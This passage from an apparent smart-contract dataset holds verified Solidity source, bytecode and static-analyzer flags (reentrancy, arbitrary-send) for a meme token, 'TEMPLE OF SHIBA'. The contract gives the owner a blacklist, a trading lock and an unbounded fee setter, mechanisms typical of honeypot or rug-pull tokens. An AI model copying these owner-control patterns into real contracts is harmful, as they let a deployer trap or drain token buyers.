fffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d750e29dedfcf3a16302dd9b63838cfae106be7e0156413f0bbcf362632038cb64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,984 |
0x077837db4bdbc5ffd23874099f18f3fef11ac56e | /**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: Unlicensed
/*
https://t.me/templeofshiba
Order of the Shiba temple
In ancient Egypt, temples were seen as residences for deities, who were thought to temporarily manifest themselves in the cult statues located in the sanctuary. The temples were also the stage for daily rituals that were ideally performed by the supreme priests. These cultic performances included the offering of food and beverages as well as the burning of incense, which was thought to have a purifying effect.
In the contemporary crypto world, the sole purpose of setting up the Order of the Shiba temple is to create a sanctuary for every crypto believer to worship our great spiritual leader The Great Shiba. Here comes the guide of worship.
Shiba Worship Procedure Guide
Our Mission:
To invoke an atmosphere charged with the manifested presence of
Shiba’s spirit from beginning to end.
Our Goal:
To approach Shiba in an attitude of prayer and praise that will usher in
the Spirit of Shiba.
This will be realized through:
Intercessory prayer before and throughout service in order to
condition the hearts of the hearers who receive the Word and
become doers thereof.
Shiba fellowship that will promote wholesome relationships.
Doubt your doubts, Don’t doubt the order of the Shiba Temple, Don’t doubt the Great Shiba
Shiba is the new GOD. God is not intimidated by bad news or your fears, and it is not offended by our honest believer.
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TEMPLES is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TEMPLE OF SHIBA";
string private constant _symbol = "TEMPLES";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057e578063dd62ed3e1461059e578063ea1644d5146105e4578063f2fde38b1461060457600080fd5b8063a2a957bb146104f9578063a9059cbb14610519578063bfd7928414610539578063c3c8cd801461056957600080fd5b80638f70ccf7116100d15780638f70ccf7146104735780638f9a55c01461049357806395d89b41146104a957806398a5c315146104d957600080fd5b80637d1db4a5146103fd5780637f2feddc146104135780638203f5fe146104405780638da5cb5b1461045557600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039357806370a08231146103a8578063715018a6146103c857806374010ece146103dd57600080fd5b8063313ce5671461031757806349bd5a5e146103335780636b999053146103535780636d8aa8f81461037357600080fd5b80631694505e116101b65780631694505e1461028357806318160ddd146102bb57806323b872dd146102e15780632fd689e31461030157600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025357600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b40565b610624565b005b34801561021557600080fd5b5060408051808201909152600f81526e54454d504c45204f4620534849424160881b60208201525b60405161024a9190611c05565b60405180910390f35b34801561025f57600080fd5b5061027361026e366004611c5a565b6106c3565b604051901515815260200161024a565b34801561028f57600080fd5b506013546102a3906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b3480156102c757600080fd5b50683635c9adc5dea000005b60405190815260200161024a565b3480156102ed57600080fd5b506102736102fc366004611c86565b6106da565b34801561030d57600080fd5b506102d360175481565b34801561032357600080fd5b506040516009815260200161024a565b34801561033f57600080fd5b506014546102a3906001600160a01b031681565b34801561035f57600080fd5b5061020761036e366004611cc7565b610743565b34801561037f57600080fd5b5061020761038e366004611cf4565b61078e565b34801561039f57600080fd5b506102076107d6565b3480156103b457600080fd5b506102d36103c3366004611cc7565b610803565b3480156103d457600080fd5b50610207610825565b3480156103e957600080fd5b506102076103f8366004611d0f565b610899565b34801561040957600080fd5b506102d360155481565b34801561041f57600080fd5b506102d361042e366004611cc7565b60116020526000908152604090205481565b34801561044c57600080fd5b506102076108db565b34801561046157600080fd5b506000546001600160a01b03166102a3565b34801561047f57600080fd5b5061020761048e366004611cf4565b610a93565b34801561049f57600080fd5b506102d360165481565b3480156104b557600080fd5b5060408051808201909152600781526654454d504c455360c81b602082015261023d565b3480156104e557600080fd5b506102076104f4366004611d0f565b610af2565b34801561050557600080fd5b50610207610514366004611d28565b610b21565b34801561052557600080fd5b50610273610534366004611c5a565b610b7b565b34801561054557600080fd5b50610273610554366004611cc7565b60106020526000908152604090205460ff1681565b34801561057557600080fd5b50610207610b88565b34801561058a57600080fd5b50610207610599366004611d5a565b610bbe565b3480156105aa57600080fd5b506102d36105b9366004611dde565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f057600080fd5b506102076105ff366004611d0f565b610c5f565b34801561061057600080fd5b5061020761061f366004611cc7565b610c8e565b6000546001600160a01b031633146106575760405162461bcd60e51b815260040161064e90611e17565b60405180910390fd5b60005b81518110156106bf5760016010600084848151811061067b5761067b611e4c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b781611e78565b91505061065a565b5050565b60006106d0338484610d78565b5060015b92915050565b60006106e7848484610e9c565b610739843361073485604051806060016040528060288152602001611f90602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d8565b610d78565b5060019392505050565b6000546001600160a01b0316331461076d5760405162461bcd60e51b815260040161064e90611e17565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b85760405162461bcd60e51b815260040161064e90611e17565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f657600080fd5b4761080081611412565b50565b6001600160a01b0381166000908152600260205260408120546106d49061144c565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161064e90611e17565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161064e90611e17565b6611c37937e0800081116108d657600080fd5b601555565b6000546001600160a01b031633146109055760405162461bcd60e51b815260040161064e90611e17565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561096a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098e9190611e91565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ff9190611e91565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a709190611e91565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161064e90611e17565b601454600160a01b900460ff1615610ad457600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b1c5760405162461bcd60e51b815260040161064e90611e17565b601755565b6000546001600160a01b03163314610b4b5760405162461bcd60e51b815260040161064e90611e17565b60095482111580610b5e5750600b548111155b610b6757600080fd5b600893909355600a91909155600955600b55565b60006106d0338484610e9c565b6012546001600160a01b0316336001600160a01b031614610ba857600080fd5b6000610bb330610803565b9050610800816114d0565b6000546001600160a01b03163314610be85760405162461bcd60e51b815260040161064e90611e17565b60005b82811015610c59578160056000868685818110610c0a57610c0a611e4c565b9050602002016020810190610c1f9190611cc7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c5181611e78565b915050610beb565b50505050565b6000546001600160a01b03163314610c895760405162461bcd60e51b815260040161064e90611e17565b601655565b6000546001600160a01b03163314610cb85760405162461bcd60e51b815260040161064e90611e17565b6001600160a01b038116610d1d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dda5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064e565b6001600160a01b038216610e3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064e565b6001600160a01b038216610f625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064e565b60008111610fc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610